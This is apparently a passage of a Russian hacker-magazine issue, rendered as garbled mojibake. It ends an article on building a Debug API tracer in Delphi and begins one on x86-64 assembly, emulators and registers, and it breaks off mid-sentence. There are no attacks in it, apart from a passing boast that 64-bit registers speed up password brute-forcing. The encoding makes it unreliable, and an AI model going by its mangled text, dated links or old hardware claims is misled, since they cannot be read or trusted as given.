íàëüíûé áàéò ñ òî÷êè âõîäà, òàê êàê íàì ïîíàäîáèòñÿ åãî âîññòàíîâèòü
ïðè ñðàáàòûâàíèè áðåêïîèíòà.
Òåïåðü æäåì ñëåäóþùåãî ñîáûòèÿ, êîòîðûì áóäåò ÿâëÿòüñÿ íàø
áðåêïîèíò. Ïî åãî ñðàáàòûâàíèþ íàì íóæíî óáðàòü ñòàðûé «áðÿê»,
óñòàíîâèòü ôëàã TF â ðåãèñòðå efl îòëàæèâàåìîãî ïîòîêà, ñìåñòèòü
eip íà 1 áàéò íàçàä (÷òîáû ïðîäîëæèòü âûïîëíåíèå ïðîãðàììû ñ åå
òî÷êè âõîäà) è ïðîäîëæèòü âûïîëíåíèå ïîòîêà. Äëÿ ÷òåíèÿ ðåãè-
ñòðîâ ïîòîêà ìû áóäåì èñïîëüçîâàòü GetThreadContext, à äëÿ çàïè-
ñè � SetThreadContext. 

Context.ContextFlags := CONTEXT_FULL;
GetThreadContext(Pr.hThread, Context);
Dec(Context.Eip);
Ñontext.EFlags := Context.EFlags or $100;
SetThreadContext(Pr.hThread, Context);
WriteProcessMemory(Pr.hProcess, EntryPoint, @OldByte, 1, Bytes);

Òåïåðü íàø ïîòîê èñïîëíÿåòñÿ ñ óñòàíîâëåííûì ôëàãîì TF, à çíà÷èò,
ïîñëå âûïîëíåíèÿ êàæäîé åãî êîìàíäû íàì áóäåò ïðèõîäèòü îòëàäî÷-
íîå ñîáûòèå, íåñóùåå èíôîðìàöèþ îá èñêëþ÷åíèè EXCEPTION_SIN-
GLE_STEP. Â îáðàáîò÷èêå ýòîãî èñêëþ÷åíèÿ ìû áóäåì ÷èòàòü êîä ïî
àäðåñó, âçÿòîìó èç ðåãèñòðà eip îòëàæèâàåìîãî ïîòîêà, äèçàññåìáëèðî-
âàòü åãî, ïîñëå ÷åãî ïîâòîðíî óñòàíàâëèâàòü ôëàã TF äëÿ òîãî, ÷òîáû
èñêëþ÷åíèå ïðîèçîøëî è íà ñëåäóþùåé êîìàíäå.

[äëÿ äèçàññåìáëèðîâàíèÿ êîäà èñïîëüçóåòñÿ äèçàññåìáëåð CADt] 

begin
if (Cmds > 0) then
begin

Context.ContextFlags := CONTEXT_FULL;
GetThreadContext(Pr.hThread, Context);
Context.EFlags := Context.EFlags or $100;
SetThreadContext(Pr.hThread, Context);
ReadProcessMemory(Pr.hProcess, pointer(Context.Eip), @Cmd, 32, Bytes);
DisCommand := DisasmCommand(@Cmd, Context.Eip);
writeln(DisCommand);
DisCommand := DisCommand + #13#10;
WriteFile(hFile, PChar(DisCommand)^, Length(DisCommand), Bytes, nil);

end;
Dec(Cmds);

end;

Â èòîãå ìû ïîëó÷èì âïîëíå ðàáîòàþùèé òðåéñåð, êîòîðûé èñïîëü-
çóåò Debug API, óìååò òðàññèðîâàòü ïðîãðàììó è ñòàâèòü áðåêïîèí-
òû. Òåñòîâûé ïðèìåð çàïóñêàåòñÿ èç êîìàíäíîé ñòðîêè è ïðèíèìà-
åò äâà ïàðàìåòðà, ïåðâûé èç êîòîðûõ � ïóòü ê îòëàæèâàåìîé ïðî-
ãðàììå, à âòîðîé � ãëóáèíà òðàññèðîâêè (êîëè÷åñòâî êîìàíä). Ïðè-
ìåð âûâîäèò äèçàññåìáëåðíûé ëèñòèíã â êîíñîëü è çàïèñûâàåò åãî
â ôàéë c:\trace.log.

Âîò, ñîáñòâåííî, è âñå. ß äóìàþ, òåïåðü òû ðàçîáðàëñÿ, êàê ðàáîòàþò
îòëàä÷èêè, è ñìîæåøü áåç îñîáûõ çàòðóäíåíèé íàïèñàòü è ñâîé, çíà÷è-
òåëüíî áîëåå ñëîæíûé äåáàããåð. Óñïåõîâ òåáå â ýòîì íåëåãêîì, íî
î÷åíü èíòåðåñíîì äåëå

òðåéñåð





64-áèòíûé ëåéáë � çâó÷èò âîçáóæäàþùå, õîòÿ
âñåãî ëèøü õèòðûé ìàðêåòèíãîâûé òðþê, ñêðûâà-
þùèé íå òîëüêî äîñòîèíñòâà, íî è íåäîñòàòêè.
Íàì äàðîâàíû 64-áèòíûå îïåðàíäû è 64-áèòíàÿÞ
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Àðõèòåêòóðà x86-64 
ïîä ñêàëüïåëåì
àññåìáëåðùèêà

àäðåñàöèÿ. Êàçàëîñü áû, ëèøíèå
ðàçðÿäû êàðìàí íå òÿíóò è åñëè íå
ïðèãîäÿòñÿ, òî, ïî êðàéíåé ìåðå, íå
ïîìåøàþò. Òàê âåäü íåò! Ñ ðîñòîì
ðàçðÿäíîñòè óâåëè÷èâàåòñÿ è äëèíà ìàøèííûõ êîìàíä, à çíà÷èò, âðåìÿ èõ
çàãðóçêè/äåêîäèðîâàíèÿ è ðàçìåðû ïðîãðàììû, ïîýòîìó äëÿ äîñòèæåíèÿ
íå õóäøåé ïðîèçâîäèòåëüíîñòè 64-áèòíûé ïðîöåññîð äîëæåí èìåòü áîëåå
áûñòðóþ ïàìÿòü è áîëåå åìêèé êýø. Ýòî ðàç.
64-áèòíûå öåëî÷èñëåííûå îïåðàíäû ñòàíîâÿòñÿ þçàáåëüíû òîëüêî ïðè îá-
ðàáîòêå ÷èñåë ïîðÿäêà 2^33+ (8.589.934.592) è âûøå. Òàì, ãäå 32-áèòíîìó
ïðîöåññîðó òðåáóåòñÿ íåñêîëüêî òàêòîâ, 64-áèòíûé ñïðàâëÿåòñÿ çà îäèí. Íî
ãäå òû âèäåë òàêèå ÷èñëà â äîìàøíèõ è îôèñíûõ ïðèëîæåíèÿõ? Íå çðÿ æå
èíæåíåðû èç Intel ïîøëè íà ñîêðàùåíèå ðàçðÿäíîñòè ÀËÓ (àðèôìåòè÷íîãî-
ëîãè÷åñîêãî óñòðîéñòâà), øèðèíà êîòîðîãî â Pentium-4 ñîñòàâëÿåò âñåãî 16
áèò ïðîòèâ 32-õ áèò â Pentium-III. Ýòî íå çíà÷èò, ÷òî Pentium-4 íå ìîæåò îá-
ðàáàòûâàòü 32-ðàçðÿäíûå ÷èñëà. Ìîæåò. Òîëüêî îí òðàòèò íà íèõ áîëüøå
âðåìåíè, ÷åì Pentium-III. Íî ïîñêîëüêó ïðîöåíò ïîäëèííî 32-ðàçðÿäíûõ ÷è-
ñåë (òî åñòü òàêèõ, ÷òî èñïîëüçóþò ñâûøå 16 áèò) â äîìàøíèõ ïðèëîæåíèÿõ
îòíîñèòåëüíî íåâûñîê, ïðîèçâîäèòåëüíîñòü ïàäàåò íåçíà÷èòåëüíî. Çàòî ÿä-
ðî ñîäåðæèò ìåíüøå òðàíçèñòîðîâ, âûäåëÿåò ìåíüøå òåïëà è ëó÷øå ðàáî-
òàåò íà ïîâûøåííîé òàêòîâîé ÷àñòîòå � â öåëîì ýôôåêò ïîëîæèòåëüíûé.
64-áèòíàÿ ðàçðÿäíîñòü� Ïîìèëóé! Àäðåñîâàòü 18.446.744.073.709.551.616
áàéò ïàìÿòè íå íóæíî äàæå Microsoft'ó ñî âñåìè åãî ãðàôè÷åñêèìè çàâîðî-
òàìè! Èç 4-õ Ãáàéò àäðåñíîãî ïðîñòðàíñòâà Windows Processional è
Windows Server òîëüêî 2 Ãáàéòà âûäåëÿþò ïðèëîæåíèÿì.
3 Ãáàéòà âûäåëÿåò ëèøü Windows Advanced Server, è íå ïîòîìó, ÷òî áîëü-
øå âûäåëèòü íåâîçìîæíî! x86-ïðîöåññîðû ñ ëåãêîñòüþ àäðåñóþò âïëîòü
äî 16 Ãáàéò (ïî 4 Ãáàéòà íà êîä, äàííûå, ñòåê è êó÷ó), îïÿòü-òàêè îáõî-
äÿñü ìèíèìàëüíîé ïåðåñòðîéêîé îïåðàöèîííîé ñèñòåìû! Ïî÷åìó æå äî
ñèõ ïîð ýòî íå áûëî ñäåëàíî? Ïî÷åìó ìû ñèäèì íà æàëêèõ 4-õ Ãáàéòàõ
èç êîòîðûõ ðåàëüíî äîñòóïíû òîëüêî äâà?! Äà ïîòîìó, ÷òî áîëüøå íèêî-
ìó íå íóæíî! Ñèñòåìó, àäðåñóþùóþ 16 Ãáàéò, ïðîñòî òàê íå ïðîäàøü, êî-
ãî ýòè ãèãàáàéòû èíòåðåñóþò? Âîò 64 áèòà � ñîâñåì äðóãîå äåëî! 
Ñðàâíèâàòü 32- è 64-áèòíûå ïðîöåññîðû áåññìûñëåííî! Åñëè 64-áèòíûé ïðî-
öåññîð íà äîìàøíåì ïðèëîæåíèè îêàçûâàåòñÿ áûñòðåå, òî îòíþäü íå çà ñ÷åò
ñâîåé 64-áèòíîñòè, à áëàãîäàðÿ ñîâåðøåííî íåçàâèñèìûì îò íåå êîíñòðóê-
òèâíûì óõèùðåíèÿì, íà êîòîðûõ èíæåíåðû åäâà íå ðàçîðâàëè ñåáå çàäíèöû!
Âïðî÷åì, íå áóäåì î ãðóñòíîì. 64 áèòà âñå ðàâíî âîéäóò â íàøó æèçíü.
Äëÿ íåêîòîðûõ çàäà÷ îíè î÷åíü äàæå íè÷åãî. Âîò, íàïðèìåð, êðèïòîãðà-
ôèÿ. 64 áèòà � ýòî æå 8 áàéò! 8-ñèìâîëüíûå ïàðîëè ìîæíî ïîëíîñòüþ
óìåñòèòü â îäèí ðåãèñòð, íå îáðàùàÿñü ê ïàìÿòè, ÷òî äàåò íåâåðîÿòíûé
ðåçóëüòàò! Ñêîðîñòü ïåðåáîðà óâåëè÷èâàåòñÿ ÷óòü ëè íå íà ïîðÿäîê! Íó,
òàê ÷åãî æå ìû æäåì?! Âïåðåä! Íà øòóðì 64-áèòíûõ âåðøèí!

[÷òî íàì ïîíàäîáèòñÿ?] Äëÿ ïðîãðàììèðîâàíèÿ â 64-ðåæèìå æåëà-
òåëüíî èìåòü êîìïüþòåð ñ ïðîöåññîðîì AMD Athlon FX èëè Opertorn, íî
ìîæíî îáîéòèñü è ýìóëÿòîðîì. Ñóùåñòâóåò íå òàê ìíîãî ýìóëÿòîðîâ
ïîä x86-64 ïëàòôîðìó è âñå îíè íåäîäåëàííûå è æóòêî áàæíûå, íî äëÿ
çíàêîìñòâà ñ AMD 64 èõ áóäåò âïîëíå äîñòàòî÷íî.
Áîëüøîé ïîïóëÿðíîñòüþ ïîëüçóåòñÿ áåñïëàòíûé ýìóëÿòîð BOCHS (â ïðîñ-
òîðå÷èè íàçûâàåìûé áîðùîì), ðàñïðîñòðàíÿåìûé â èñõîäíûõ òåêñòàõ.
Ïîääåðæêà àðõèòåêòóðû x86-64 âïåðâûå ïîÿâèëàñü â âåðñèè 2.2-pre3 è çà-
òåì áûëà âêëþ÷åíà â ðåëèç 2.2.1 íà ïðàâàõ ýêñïåðèìåíòàëüíîé ôè÷è. Íà
îôèöèàëüíîì ñàéòå (http://bochs.sourceforge.net/) ìîæíî íàéòè íåñêîëüêî
ãîòîâûõ áèíàðíûõ ñáîðîê ïîä ðàçíûå ïëàòôîðìû, íî� òîëüêî äëÿ àðõè-
òåêòóðû x86. Ýìóëÿöèÿ x86-64 òðåáóåò îáÿçàòåëüíîé ïåðåêîìïèëÿöèè ïîä
*nix-ñèñòåìàìè. Ñêà÷èâàåì èñõîäíûå òåêñòû (http://prdownloads.source-
forge.net/bochs/bochs-2.2.1.tar.gz?download), ðàñïàêîâûâàåì àðõèâ, çàïóñ-
êàåì êîíôèãóðàòîð ñ êëþ÷îì --enable-x86-64 è çàòåì äàåì make.  

[ñáîðêà BOCHS'à ñ ïîääåðæêîé ýìóëÿöèè x86-64]

$./configure --enable-x86-64
$make 

Îáðàçóåòñÿ èñïîëíÿåìûé ôàéë bochs, òðåáóþùèé äëÿ ñâîåé ðàáîòû bios
è bxrc-ñöåíàðèé, êîòîðûå ìîæíî ïîçàèìñòâîâàòü èç ãîòîâîé áèíàðíîé
ñáîðêè. Äëÿ êîìïèëÿöèè ïîä Windows-ïëàòôîðìó ñëåäóåò çàïóñòèòü
ñêðèïò conf.win32-vcpp, à çàòåì âûïîëíèòü make win32_snap. Äëÿ ýòîãî,
åñòåñòâåííî, íåîáõîäèìî èìåòü Linux, ïîñêîëüêó Windows shell-ñêðèïòîâ
â óïîð íå ïîíèìàåò (ïðàâäà, ìîæíî âîñïîëüçîâàòüñÿ Cygwin'îì, íî ñáîð-
êà ïîä íèì � îòäåëüíûé ãåìîððîé).

[ñáîðêà BOCHS'à äëÿ êîìïèëÿöèè Microsoft Visual C++]

sh .conf.win32-vcpp
make win32_snap

32-ÁÈÒÍÀß ÝÏÎÕÀ ÓÕÎÄÈÒ Â ÏÐÎØËÎÅ, ÑÄÀ-
ÂÀßÑÜ ÏÎÄ ÍÀÒÈÑÊÎÌ ÍÎÂÛÕ ÈÄÅÉ È ÏËÀÒ-
ÔÎÐÌ. ÎÁÀ ÔËÀÃÌÀÍÀ ÐÛÍÊÀ (INTEL È AMD)
ÏÐÅÄÑÒÀÂÈËÈ 64-ÁÈÒÍÛÅ ÀÐÕÈÒÅÊÒÓÐÛ,
ÎÒÊÐÛÂÀÞÙÈÅ ÄÂÅÐÜ Â ÌÈÐ ÁÎËÜØÈÕ ÑÊÎ-
ÐÎÑÒÅÉ È ÏÐÎÈÇÂÎÄÈÒÅËÜÍÛÕ ÖÏ. ÝÒÎ ÍÀÑ-
ÒÎßÙÈÉ ÏÐÎÐÛÂ � ÍÎÂÛÅ ÐÅÃÈÑÒÐÛ, ÍÎ-
ÂÛÅ ÐÅÆÈÌÛ ÐÀÁÎÒÛ� ÏÎÏÐÎÁÓÅÌ Ñ ÍÈÌÈ
ÐÀÇÎÁÐÀÒÜÑß? ÌÛ ÐÀÑÑÌÎÒÐÈÌ ÀÐÕÈÒÅÊÒÓ-
ÐÓ AMD64 (ÎÍÀ ÆÅ X86-64) È ÏÎÊÀÆÅÌ, 
ÊÀÊ Ñ ÍÅÉ ÁÎÐÎÒÜÑß | Êðèñ Êàñïåðñêè àêà ìûùúõ

64-ááèòíûé ïïðèâåò

Çàëåçàé íà äèñê ê æóðíà-
ëó, òàì òû îáíàðóæèøü âñå
èñõîäíèêè ê ñòàòüå.
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Ñáîðêà êîìïèëÿòîðîì
Microsoft Visual C++ 6.0
ïðîõîäèò íå î÷åíü ãëàä-
êî (òî÷íåå, íå ïðîõîäèò
ñîâñåì) è ïðèõîäèòñÿ
óñòðàíÿòü ìíîãî÷èñëåí-
íûå îøèáêè, äîïóùåí-
íûå ðàçðàáîò÷èêàìè
ýìóëÿòîðà, ÷òî òðåáóåò
âðåìåíè è êâàëèôèêà-
öèè. Õîðîøî, ÷òî â Ñåòè ìîæíî íàéòè ìíîæåñòâî ñáîðîê áîðùà, íàïðèìåð:
http://www.psyon.org/bochs-win32/bochs-x86-64-20050508.exe.
Òåì íå ìåíåå, ñî ñâîåé ðàáîòîé áîðù ñïðàâëÿåòñÿ èç ðóê âîí ïëîõî è
ê òîìó æå ñèëüíî òîðìîçèò. Ìîé Pentium-III 733 çàòîðìàæèâàåòñÿ äî <
1 Ìãö AMD 64, îòñòàâàÿ äàæå îò Ìàøèíû Áýááèäæà, ñîáðàííîé íà
øåñòåðåíêàõ è ïðèâîäèìîé â äâèæåíèå ïàðîâûì äâèãàòåëåì. Ìíîãèå
64-áèòíûå Ëèíóõè âûëåòàþò åùå íà ñòàäèè çàãðóçêè ÿäðà. Ïîáàëî-
âàòüñÿ x86-64 ðåæèìîì ïîä áîðùîì åùå ìîæíî, íî íà ðàáî÷èé èíñòðó-
ìåíò îí íå òÿíåò. Âïðî÷åì, â ïîñëåäóþùèõ âåðñèÿõ îøèáêè ýìóëÿöèè
ñêîðåå âñåãî áóäóò èñïðàâëåíû, è òîãäà åäèíñòâåííûì íåäîñòàòêîì
îñòàíåòñÿ íèçêàÿ ñêîðîñòü, à âîò ýòî óæå ôóíäàìåíòàëüíî. Îáëàäàòå-
ëÿì low-end ïðîöåññîðîâ ïðèäåòñÿ èñêàòü ÷òî-òî åùå.
QEMU � áåñïëàòíûé äèíàìè÷åñêèé ýìóëÿòîð, îñíîâàííûé íà BOCHS. Àð-
õèòåêòóðà x86-64 ýìóëèðóþòñÿ íà Pentium-III ñ íè÷óòü íå õóäøåé ñêîðîñòüþ,
÷åì x86 ïîä êîììåð÷åñêèì VM Ware. Ñòàáèëüíîñòü ðàáîòû òàêæå âûøå
âñÿêèõ ïîõâàë. Íà îôèöèàëüíîì ñàéòå (http://fabrice.bellard.free.fr/qemu/)
âûëîæåíû èñõîäíûå òåêñòû è ãîòîâûå ñáîðêè ïîä Linux. Îáëàäàòåëÿì
Windows ïðèõîäèòñÿ çàíèìàòüñÿ êîìïèëÿöèåé ñàìîñòîÿòåëüíî èëè ðûñ-
êàòü â ïîèñêàõ äîáû÷è ïî Ñåòè. Äîáðîñîâåñòíûé áèëä ëåæèò íà õîðîøåì
ÿïîíñêîì ñåðâåðå http://www.h7.dion.ne.jp/~qemu-win/. Òàì æå ìîæíî íàéòè
äðàéâåð-àêñåëåðàòîð, óñêîðÿþùèé ýìóëÿöèþ â íåñêîëüêî ðàç. Êñòàòè ãî-
âîðÿ, ïîìèìî x86-64, QEMU ýìóëèðóåò x86, SPARC, PowrPC è íåêîòîðûå
äðóãèå àðõèòåêòóðû. È åùå, QEMU � ýòî åäèíñòâåííûé ýìóëÿòîð, â êîòî-
ðîì âèðòóàëüíàÿ ñåòü âñòàåò ñàìà áåç ïëÿñîê ñ áóáíîì è íå çàãàæèâàåò îñ-
íîâíóþ îïåðàöèîííóþ ñèñòåìó ëåâûìè àäàïòåðàìè.
Òàêæå íàì ïîòðåáóåòñÿ 64-ðàçðÿäíàÿ îïåðàöèîííàÿ ñèñòåìà. Äîòÿíóòñÿ
äî 64-áèòíûõ ðåãèñòðîâ è ïðî÷èõ âêóñíîñòåé x86-64-àðõèòåêòóðû ìîæíî
òîëüêî èç ñïåöèàëüíîãî 64-ðàçðÿäíîãî ðåæèìà (long mode). Íè ïîä ðå-
àëüíûì, íè ïîä 32-ðàçðÿäíûì çàùèùåííûì x86-ðåæèìîì îíè íå äîñòó-
ïû. È õîòÿ ìû ïîêàæåì, êàê ïåðåâåñòè ïðîöåññîð èç ðåàëüíîãî â 64-ðàç-
ðÿäíûé ðåæèì, ñîçäàíèå ïîëíîôóíêöèîíàëüíîé îïåðàöèîííîé ñèñòåìû
íå âõîäèò â íàøè ïëàíû, à áåç íåå íèêóäà!
Ïðîùå âñåãî, êîíå÷íî, âçÿòü Windows XP 64-Bit Edition, íî� íå âñå õàêåðû
ðàçäåëÿþò ýòî ìíåíèå (ïðàâèëüíóþ âåùü áóêâîé X íå íàçîâóò). Åñëè âûï-
ðÿìèòü çåìíóþ îñü, òî ïîäíèìåòñÿ òàêîé öóíàìè, ÷òî âñþ Àìåðèêó âìåñòå
ñ Ðåäìîíäîì ñìîåò íà õðåí â îêåàí. À Linux äåëàþò è â êîíòèíåíòàëüíîé
Åâðîïå, äî êîòîðîé íèêàêèå öóíàìè íå äîñòàíóò! (Ïðàâäà, åé óãðîæàåò ëåä-
íèê è ïåðâîé ïîñòðàäàþò íåáåçðàçëè÷íûå äëÿ Ëèíóõà ñêàíäèíàâñêèå ñòðà-
íû). Áîëüøèíñòâî ïðîèçâîäèòåëåé ëèáî óæå âûïóñòèëè x86-64 ïîðòû, ëèáî
ñîáèðàþòñÿ ýòî ñäåëàòü â áëèæàéøåì áóäóùåì. Ïðèâåðæåíöàì òðàäèöèîí-
íîãî íåìåöêîãî êà÷åñòâà ìîæíî ïîðåêîìåíäîâàòü SuSE LiveCD 9.2, íå òðå-
áóþùèé óñòàíîâêè (http://suse.osuosl.org/suse/x86_64/live-cd-9.2/SUSE-
Linux-9.2-LiveCD-64bit.iso), íî ëè÷íî ÿ áîëüøå ïðåäïî÷èòàþ Äåáèàí, íå-
îôèöèàëüíûé ïîðò êîòîðîãî â ôîðìàòå businesscard-CD ëåæèò íà
http://cdimage.debian.org/cdimage/unofficial/sarge-amd64/iso-cd/debian-
31r0a-amd64-businesscard.iso. Òàì æå ìîæíî íàéòè è äðóãèå ïîðòû.
Òåïåðü ïåðåéäåì ê ïîäãîòîâêå èíñòðóìåíòàðèÿ. Êàê ìèíèìóì, íàì ïîíà-
äîáèòñÿ àññåìáëåð è îòëàä÷èê. Ìû áóäåì èñïîëüçîâàòü FASM
(http://flatassembler.net/). Îí áåñïëàòåí, ðàáîòàåò ïîä LINUX/Windows/MS-
DOS, ïîääåðæèâàåò x86-64, îáëàäàåò óäîáíûì ñèíòàêñèñîì è ò. ä. Ëþ-
áèòåëè êëàññè÷åñêîé ìèññèîíåðñêîé ìîãóò êà÷íóòü áåñïëàòíûé
Windows Server 2003 SP1 Platform SDK (http://www.microsoft.com/down-
loads/details.aspx?FamilyId=A55B6B43-E24F-4EA3-A93E-40C0EC4F68E5),
â ñîñòàâ êîòîðîãî âõîäèò 64-ðàçðÿäíûé MASM. Ñèíòàêñè÷åñêè îáà ýòèõ
àññåìáëåðà íåñîâìåñòèìû, òàê ÷òî ïîïåðåìåííî ïîëüçîâàòüñÿ èìè íå
óäàñòñÿ, è íóæíî ñðàçó âûáèðàòü êàêîé-òî îäèí.
Ïðàêòè÷åñêè âî âñå x86-64 ïîðòû Ëèíóõà âõîäèò GNU Debugger, êîòîðî-
ãî äëÿ íàøèõ çàäà÷ âïîëíå äîñòàòî÷íî. Îáëàäàòåëè Windows ìîãóò âîñ-
ïîëüçîâàòüñÿ Microsoft Debugger'îì, âõîäÿùèì â ñîñòàâ áåñïëàòíîãî
Microsoft Debugging Tools (http://www.microsoft.com/whdc/devtools/debug-
ging/installamdbeta.mspx).

[îáçîð x86-64]Çà ïîäðîáíûì îïèñàíèåì x86-64-àðõèòåêòóðû ëó÷øå âñåãî îá-
ðàòèòüñÿ ê ôèðìåííîé äîêóìåíòàöèè AMD64 Technology � AMD64 Architecture
Programmer's Manual Volume 1:Application Programming (http://www.amd.com/us-
en/assets/content_type/white_papers_and_tech_docs/24593.pdf). Ìû æå îãðàíè-
÷èìñÿ òîëüêî áåãëûì îáçîðîì îñíîâíûõ íîâîââåäåíèé.

Íàêîíåö-òî AMD ñæàëèëàñü íàä íàìè è ïîäàðèëà ïðîãðàììèñòàì òî, ÷òî
âñå òàê äîëãî æäàëè. Ê ñåìè ðåãèñòðàì îáùåãî íàçíà÷åíèÿ (âîñüìè � ñ
ó÷åòîì ESP) äîáàâèëîñü åùå âîñåìü, â ðåçóëüòàòå ÷åãî èõ îáùåå êîëè-
÷åñòâî äîñòèãëî 15 (16) øòóê.
Ñòàðûå ðåãèñòðû, ðàñøèðåííûå äî 64-áèò, ïîëó÷èëè èìåíà RAX, RBX,
RCX, RDX, RBP, RSI, RDI, RSP, RIP è RFLAGS. Íîâûå ðåãèñòðû îñòà-
ëèñü áåçûìÿííûìè è ïðîñòî ïðîíóìåðîâàíû îò R8 äî R15. Äëÿ îáðàùå-
íèÿ ê ìëàäøèì 8-, 16- è 32-áèòàì íîâûõ ðåãèñòðîâ ìîæíî èñïîëüçîâàòü
ñóôôèêñû b, w è d. Íàïðèìåð, R9 � ýòî 64-ðàçðÿíûé ðåãèñòð, R9b �
åãî ìëàäøèé áàéò (ïî àíàëîãèè ñ AL), à R9w � ìëàäøåå ñëîâî (òî æå
ñàìîå, ÷òî AX â EAX). Ïðÿìûõ íàñëåäíèêîâ AH, ê ñîæàëåíèþ, íå íàá-
ëþäàåòñÿ è äëÿ ìàíèïóëÿöèè ñî ñðåäíåé ÷àñòüþ ðåãèñòðîâ ïðèõîäèòñÿ
èçâðàùàòüñÿ ñî ñäâèãàìè è ìàòåìàòè÷åñêèìè îïåðàöèÿìè. 
Ðåãèñòð, óêàçàòåëü êîìàíä RIP, òåïåðü àäðåñóåòñÿ òî÷íî òàê æå, êàê è
âñå îñòàëüíûå ðåãèñòðû îáùåãî íàçíà÷åíèÿ. Ïðîãðàììèñòû, çàñòàâøèå
æèâóþ PDP-11 (èëè åå îòå÷åñòâåííûé êëîí � Ýëåêòðîíèêó ÁÊ èëè
ÓÊÍÖ), òîëüêî ïðåçðèòåëüíî õìûêíóò � íàêîíåö-òî äî ðàçðàáîò÷èêîâ
ñòàëè äîõîäèòü î÷åâèäíûå èñòèíû, êîòîðûå íà âñåõ íîðìàëüíûõ ïëàò-
ôîðìàõ áûëè ðåàëèçîâàíû åùå íåèçâåñòíî êîãäà.
Âîçüìåì ïðîñòåéøèé ïðèìåð: çàãðóçèì â ðåãèñòð AL îïêîä ñëåäóþùåé
ìàøèííîé êîìàíäû. Íà x86 ïðèõîäèòñÿ ïîñòóïàòü òàê.

[çàãðóçêà îïêîäà ñëåäóþùåé ìàøèííîé êîìàíäû â êëàññè÷åñêîì x86]

call $ + 5 ; çàïèõíóòü â ñòåê àäðåñ ñëåäóþùåé êîìàíäû è ïåðåäàòü 
; íà íåå óïðàâëåíèå

pop ebx ; âûòîëêíóòü èç ñòåêà àäðåñ âîçâðàòà
add ebx, 6 ; ñêîððåêòèðîâàòü àäðåñ íà ðàçìåð êîìàíä pop/add/mov
mov al, [ebx]; òåïåðü AL ñîäåðæèò îïêîä êîìàíäû NOP
nop ; êîìàíäà, ÷åé îïêîä ìû õîòèì çàãðóçèòü â AL

Ýòî æå óìîì ïîåõàòü ìîæíî, ïîêà âñå ýòî íàïèøåøü! È åùå çäåñü
î÷åíü ëåãêî îøèáèòüñÿ â ðàçìåðå êîìàíä, êîòîðûé ïðèõîäèòñÿ âû-
÷èñëÿòü ëèáî âðó÷íóþ, ëèáî çàãðîìîæäàòü ëèñòèíã íèêîìó íå íóæ-
íûìè ìåòêàìè, ê òîìó æå íåèçáåæíî çàòðàãèâàåòñÿ ñòåê, ÷òî â ðÿäå
ñëó÷àåâ íåæåëàòåëüíî èëè íåäîïóñòèìî (îñîáåííî â çàùèòíûõ ìå-
õàíèçìàõ, íàøïèãîâàííûõ àíòèîòëàîä÷íûìè ïðèåìàìè).
À òåïåðü ïåðåïèøåì òîò æå ñàìûé ïðèìåð íà x86-64.

[çàãðóçêà îïêîäà ñëåäóþùåé ìàøèííîé êîìàíäû íà x86-64]

mov al,[rip] ; çàãðóæàåì îïêîä ñëåäóþùåé ìàøèííîé êîìàíäû
nop ; êîìàíäà, ÷åì îïêîä ìû õîòèì çàãðóçèòü â AL

Êðàñîòà! Òîëüêî ñëåäóåò ïîìíèòü, ÷òî RIP âñåãäà óêàçûâàåò íà ñëåäóþ-
ùóþ, à îòíþäü íå òåêóùóþ èíñòðóêöèþ! Ê ñîæàëåíèþ, íè Jx RIP, íè
CALL RIP íå ðàáîòàþò. Òàêèõ êîìàíä â ëåêñèêîíå x86-64 ïðîñòî íåò. 
Íî ýòî åùå ÷òî! Èñ÷åçëà àáñîëþòíàÿ àäðåñàöèÿ! Åñëè íàì íàäî èç-
ìåíèòü ñîäåðæèìîå ÿ÷åéêè ïàìÿòè ïî êîíêðåòíîìó àäðåñó, íà x86
ìû ïîñòóïàåì ïðèáëèçèòåëüíî òàê:

dec byte ptr [666h] ; óìåíüøèòü ñîäåðæèìîå áàéòà ïî àäðåñó 666h
; íà åäèíèöó

Ïîä x86-64 òðàíñëÿòîð âûäàåò îøèáêó àññåìáëèðîâàíèÿ, âûíóæäàÿ íàñ
ïðèáåãàòü ê ôèêòèâíîìó áàçèðîâàíèþ:

xor r9, r9 ; îáíóëèòü ðåãèñòð r9
dec byte ptr [r9+666h] ; óìåíüøèòü ñîäåðæèìîå áàéòà ïî àäðåñó 

; 0+666h íà åäèíèöó

Åñòü è äðóãèå îòëè÷èÿ îò x86, íî îíè íå ñòîëü ïðèíöèïèàëüíû. Âàæíî òî, ÷òî
â ðåæèìå ñîâìåñòèìîñòè ñ x86 (Legacy Mode) íè 64-áèòíûå ðåãèñòðû, íè íî-
âûå ìåòîäû àäðåñàöèè íåäîñòóïíû! Íèêàêèìè ñðåäñòâàìè (âêëþ÷àÿ ÷åðíóþ

AMD Athlon 64 âî âñåé ñâîåé êðàñå

ðåàêöèÿ 64-áèòíîãî Ëèíóõà, çàïó-
ùåííîãî ïîä ñòàíäàðòíîé ñáîðêîé
BOCHS'à (your CPU does not support
long mode. use a 32bit distribution)

64-ðàçðÿäíûé ëåéáë
êèòàéñêîì

64-áèòíàÿ âåðñèÿ
Windows â ñòàäèè íà-
÷àëüíîé çàãðóçêè
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è áåëóþ ìàãèþ) äîòÿíóòüñÿ äî íèõ
íåëüçÿ è ïðåæäå ÷åì ÷òî-òî ñäåëàòü,
íåîáõîäèìî ïåðåâåñòè ïðîöåññîð â
äëèííûé ðåæèì (long mode), êîòîðûé
äåëèòüñÿ íà äâà ïîäðåæèìà: ðåæèì
ñîâìåñòèìîñòè ñ x86 (compatibility
mode) è 64-áèòíûé ðåæèì (64-bit
mode). Ðåæèì ñîâìåñòèìîñòè ïðåäóñ-
ìîòðåí òîëüêî äëÿ òîãî, ÷òîáû 64-ðàç-
ðÿäíàÿ îïåðàöèîííàÿ ñèñòåìà ìîãëà
âûïîëíÿòü ñòàðûå 32-áèòíûå ïðèëî-
æåíèÿ. Íèêàêèå 64-áèòíûå ðåãèñòðû
çäåñü è íå íî÷åâàëè! Ðåàëüíàÿ 64-áèò-
íîñòü îáèòàåò òîëüêî â 64-bit long
mode, î êîòîðîì ìû è áóäåì ãîâîðèòü!

[hello world íà x86-64] Ïðîãðàì-
ìèðîâàíèå ïîä 64-áèòíóþ âåðñèþ
Windows ìàëî ÷åì îòëè÷àåòñÿ îò

òðàäèöèîííîãî: òîëüêî âñå îïåðàíäû è àäðåñà
ïî óìîë÷àíèþ 64-ðàçðÿäíûå, à ïàðàìåòðû API-
ôóíêöèé ïåðåäàþòñÿ áîëüøåé ÷àñòüþ ÷åðåç
ðåãèñòðû, à íå ÷åðåç ñòåê. Ïåðâûå ÷åòûðå àðãó-
ìåíòà âñåõ API-ôóíêöèé ïåðåäàþòñÿ â ðåãèñò-
